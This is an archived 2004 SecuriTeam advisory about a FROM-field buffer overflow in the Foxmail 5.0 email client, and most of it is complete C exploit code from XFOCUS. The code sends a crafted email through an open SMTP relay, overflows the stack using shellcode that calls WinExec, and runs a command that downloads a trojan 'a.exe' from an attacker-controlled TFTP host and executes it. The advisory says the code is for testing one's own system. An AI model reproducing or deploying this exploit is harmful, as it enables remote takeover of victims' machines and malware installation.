

[EXPL] Foxmail FROM Field Buffer Overflow

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0045.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/13/04

To: list@securiteam.com

Date: 13 Jul 2004 16:47:32 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Foxmail FROM Field Buffer Overflow

SUMMARY

<<http://fox.foxmail.com.cn/english.htm>> Foxmail is "one of the most popular Internet email client, especially in China, more than 3 million people are using Foxmail to handle their". An exploitable buffer overflow in the FROM value the client parses allows a remote attacker to cause the program to execute arbitrary code.

The following exploit code can be used to test your system for the mentioned vulnerability.

DETAILS

Vulnerable Systems:

* Foxmail version 5.0.300.0

Immune Systems:

* Foxmail version 5.0.800.0

Exploit:

```
/* ex_foxmail5.0_windows.c – x86/win32 Foxmail 5.0 PunyLib.dll remote  
stack buffer overflow exploit
```

```
*
```

Securiteam: [EXPL] Foxmail FROM Field Buffer Overflow

```
* (C) COPYRIGHT XFOCUS Security Team, 2004
* All Rights Reserved
*
* -----
* Author : xfocus <webmaster@xfocus.org>
* : http://www.xfocus.org
* Maintain : XFOCUS Security Team <security@xfocus.org>
* Version : 0.2
*
* Test : Windows 2000 server GB/XP professional
* + Foxmail 5.0.300.0
* Notes : published vul.
* Greet : all member of XFOCUS Security Team.
* Compile : cl fmx.c
* Usage : fmx <mail_addr> <tftp_server> <smtp_server>
* mail_addr: email address we want to hack
* tftp_server: run a tftp server and have a a.exe trojan
* smtp_server: SMTP server don't need login, we send the email thru it
*
* Date : 2004-02-27
* Revised : 2004-03-05
*
* Revise History:
* 2003-03-05 call WinExec() addr of Foxmail.exe module to run tftp for
down&execute
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#pragma comment (lib, "ws2_32")

//mail body, it's based on a real spam email, heh
unsigned char packet[] =
"From: %s\r\n" //buffer to overrun
"Subject: Hi,man\r\n"
"MIME-Version: 1.0\r\n"
"Content-Type: multipart/mixed; boundary=\"87122827\"\r\n"
"\r\n"
"\r\n"
"—87122827\r\n"
"Content-Type: text/plain; charset=us-ascii\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
"\r\n"
"T\r\n"
"\r\n"
"—87122827\r\n"
"Content-Disposition: attachment\r\n"
"Content-Type: Text/HTML;\r\n"
" name=\"girl.htm\"\r\n"
"Content-Transfer-Encoding: 7bit\r\n"
```

Securiteam: [EXPL] Foxmail FROM Field Buffer Overflow

```
"\r\n"
"<html></html>\r\n"
"--87122827--\r\n"
"\r\n"
".\r\n";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail
5.0.300)
unsigned char winexec[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xd3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

//tiny shellcode to run WinExec() address in Foxmail.exe module(foxmail
5.0.210 BETA2)
unsigned char winexec2[] =
"\x83\xec\x50\xeb\x0c\xb9\x41\x10\xa3\x5d\xc1\xe9\x08\xff\x11\xeb\x08\x33\xdb\x53\xe8\xec\xff\xff\xff";

#define SMTPPORT 25
int Make_Connection(char *address,int port,int timeout);
int SendXMail(char *mailaddr, char *tftp, char *smtpserver, char
*shellcode);

int main(int argc, char * argv[])
{
    WSADATA WSADATA;
    char *mailaddr = NULL;
    char *tftp = NULL;
    char *smtpserver = NULL;

    if(argc!=4)
    {
        printf("Usage: %s <mail_addr> <tftp_server> <smtp_server>\ne.g.:%s
eye@hack.com 202.2.3.4 219.3.2.1\n", argv[0], argv[0]);
        return 1;
    }
    mailaddr=argv[1];
    tftp=argv[2];
    smtpserver=argv[3];

    if(WSAStartup (MAKEWORD(1,1), &WSADATA) != 0)
    {
        printf("WSAStartup failed.\n");
        WSACleanup();
        exit(1);
    }

    //WinExec() address
    SendXMail(mailaddr, tftp, smtpserver, winexec); //WinExec() address in
Foxmail.exe module(foxmail 5.0.300)
    SendXMail(mailaddr, tftp, smtpserver, winexec2); //WinExec() address
in Foxmail.exe module(foxmail 5.0.210 BETA2)
```

```

WSACleanup();

return 0;
}

// TCP
// :
// char * address IP
// int port
// int timeout
// :
// :
// >0
// <=0

int Make_Connection(char *address,int port,int timeout)
{
    struct sockaddr_in target;
    SOCKET s;
    int i;
    DWORD bf;
    fd_set wd;
    struct timeval tv;

    s = socket(AF_INET,SOCK_STREAM,0);
    if(s<0)
        return -1;

    target.sin_family = AF_INET;
    target.sin_addr.s_addr = inet_addr(address);
    if(target.sin_addr.s_addr==0)
    {
        closesocket(s);
        return -2;
    }
    target.sin_port = htons(port);
    bf = 1;
    ioctlsocket(s,FIONBIO,&bf);
    tv.tv_sec = timeout;
    tv.tv_usec = 0;
    FD_ZERO(&wd);
    FD_SET(s,&wd);
    connect(s,(struct sockaddr *)&target,sizeof(target));
    if((i=select(s+1,0,&wd,0,&tv))==(0))
    {
        closesocket(s);
        return -3;
    }
    if(i==0)
    {
        closesocket(s);

```

```

    return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,(char *)&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
    closesocket(s);
    return -5;
}
ioctlsocket(s,FIONBIO,&bf);
return s;
}

//send magic mail
int SendXMail( char *mailaddr, char *tftp, char *smtpserver, char
*shellcode)
{
    SOCKET csock;
    int ret,i=0;
    char buf[510], sbuf[0x10000], tmp[500], tmp1[500];
    csock = Make_Connection(smtpserver, SMTPPORT, 10);
    if(csock<0)
    {
        printf("connect err.\n");
        exit(1);
    }

    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);

    ret=send(csock, "HELO server\r\n",strlen("HELO server\r\n"), 0);
    if(ret<=0)
    {
        printf("send err.\n");
        exit(1);
    }
    memset(buf, 0, sizeof(buf));
    ret=recv(csock, buf, 4096, 0);
    if(ret<=0)
    {
        printf("recv err.\n");
        exit(1);
    }
    printf(buf);
}

```

Securiteam: [EXPL] Foxmail FROM Field Buffer Overflow

```
ret=send(csock, "MAIL FROM: info@sina.com\r\n",strlen("MAIL FROM:
info@sina.com\r\n"), 0);
if(ret<=0)
{
    printf("send err.\n");
    exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
    printf("recv err.\n");
    exit(1);
}
printf(buf);

sprintf(tmp, "RCPT TO: %s\r\n", mailaddr);
ret=send(csock, tmp,strlen(tmp), 0);
if(ret<=0)
{
    printf("send err.\n");
    exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
    printf("recv err.\n");
    exit(1);
}
printf(buf);
Sleep(1000);

ret=send(csock, "DATA\r\n",strlen("DATA\r\n"), 0);
if(ret<=0)
{
    printf("send err.\n");
    exit(1);
}

memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
    printf("recv err.\n");
    exit(1);
}
printf(buf);

printf("send exploit mail...\n");
memset(sbuf, 0, sizeof(sbuf));
```

Securiteam: [EXPL] Foxmail FROM Field Buffer Overflow

```
memset(buf, 0, sizeof(buf));
memset(buf, 0x41, sizeof(buf)-1);
memset(tmp, 0, sizeof(tmp));
//strcpy(tmp, winexec);//WinExec() address in Foxmail.exe
module(foxmail 5.0.300)
strcpy(tmp, shellcode);//WinExec() address in Foxmail.exe module
strcat(tmp, "cmd /c tftp -i %s get a.exe&a.exe:");
sprintf(tmp1, tmp, tftp);
memcpy(buf+0x100-strlen(tmp1), tmp1, strlen(tmp1));
*(int*)(buf+0x100)=0x7ffa54cd; //ret addr jmp esp
*(int*)(buf+0x104)=0x80eb80eb; //jmp back
*(int*)(buf+0x108)=0x7ffdf220; //writeable addr
*(int*)(buf+0x110)=0x7ffdf220; //writeable addr
memcpy(buf, "girl\x0d", 5);
sprintf(sbuf, (char *)packet, buf);

ret=send(csock, sbuf,strlen(sbuf), 0);
if(ret<=0)
{
    printf("send err.\n");
    exit(1);
}
memset(buf, 0, sizeof(buf));
ret=recv(csock, buf, 4096, 0);
if(ret<=0)
{
    printf("recv err.\n");
    exit(1);
}
printf(buf);
printf("exploit mail sent.\n");
closesocket(csock);
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:webmaster@xfocus.org>>
xfocus.

The original article can be found at:

<<http://xfocus.net/tools/200403/660.html>>

<http://xfocus.net/tools/200403/660.html>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [EXPL] Foxmail FROM Field Buffer Overflow

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.